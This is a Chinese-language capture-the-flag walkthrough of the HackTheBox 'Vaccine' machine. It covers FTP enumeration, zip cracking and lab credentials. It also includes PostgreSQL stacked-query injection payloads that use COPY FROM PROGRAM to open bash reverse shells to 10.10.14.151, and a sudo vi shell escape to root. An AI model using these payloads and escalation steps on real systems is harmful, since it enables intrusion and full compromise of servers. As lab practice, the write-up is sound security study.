HackTheBox Vaccine
0x000 信息收集
端口扫描
nmap -sT -T4 -A 10.129.5.199
访问80端口,显示的是一个后台登陆界面,先放一放。
0x001 漏洞利用
ftp匿名访问
前面扫描到了ftp,存在匿名访问漏洞,发现存在backup.zip,下载到本地;解压发现需要密码。
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip
成功破解出压缩包密码:741852963
解压后,在index.php文件中发现后台登陆凭证:admin:qwerty789
登陆网站后台,显示如下页面,使用目录扫描工具也没有扫出来其他页面。
SQL注入漏洞
尝试输入 ' 判断是否存在sql注入漏洞,结果真的存在。
sqlmap -u http://10.129.5.199/dashboard.php?search=Elixir --cookie='PHPSESSID=iqbovsil5l55gjnfjj03ssoocm' --batch
使用sqlmap跑一下,发现存在报错注入/布尔盲注。
先尝试使用--os-shell
参数来与系统进行交互,但是失败了;然后尝试使用--file-write
--file-dest
参数上传反弹shell到网站,也失败了。
知道看到这篇文章:https://blog.csdn.net/rpsate/article/details/119305417
# 创建一个表cmd_exec,用来接收执行的命令
'; CREATE TABLE cmd_exec(cmd_output text); --
# 执行一段系统命令来建立反弹shell(因为这里对 & 符号进行了转义,先反弹一个无回显的shell)
'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i 0> /dev/tcp/10.10.14.151/9999"'; --
http://10.129.5.199/dashboard.php?search=1'; CREATE TABLE cmd_exec(cmd_output text); --
http://10.129.5.199/dashboard.php?search=1'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i 0> /dev/tcp/10.10.14.151/9999"'; --
监听到无回显shell,然后执行bash -c "bash -i &> /dev/tcp/10.10.14.151/8888 0>&1"
来获取一个交互式shell。
在/var/www/html/dashboard.php
文件中发现系统用户密码:postgres:P@s5w0rd!
0x002 提权
这里由于反弹的shell不稳定,我使用ssh登陆用户postgres;查看当前权限,/bin/vi 具有root权限。
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
然后按 : 冒号进入命令模式,输入!/bin/bash 回车即可
成功获取到root权限。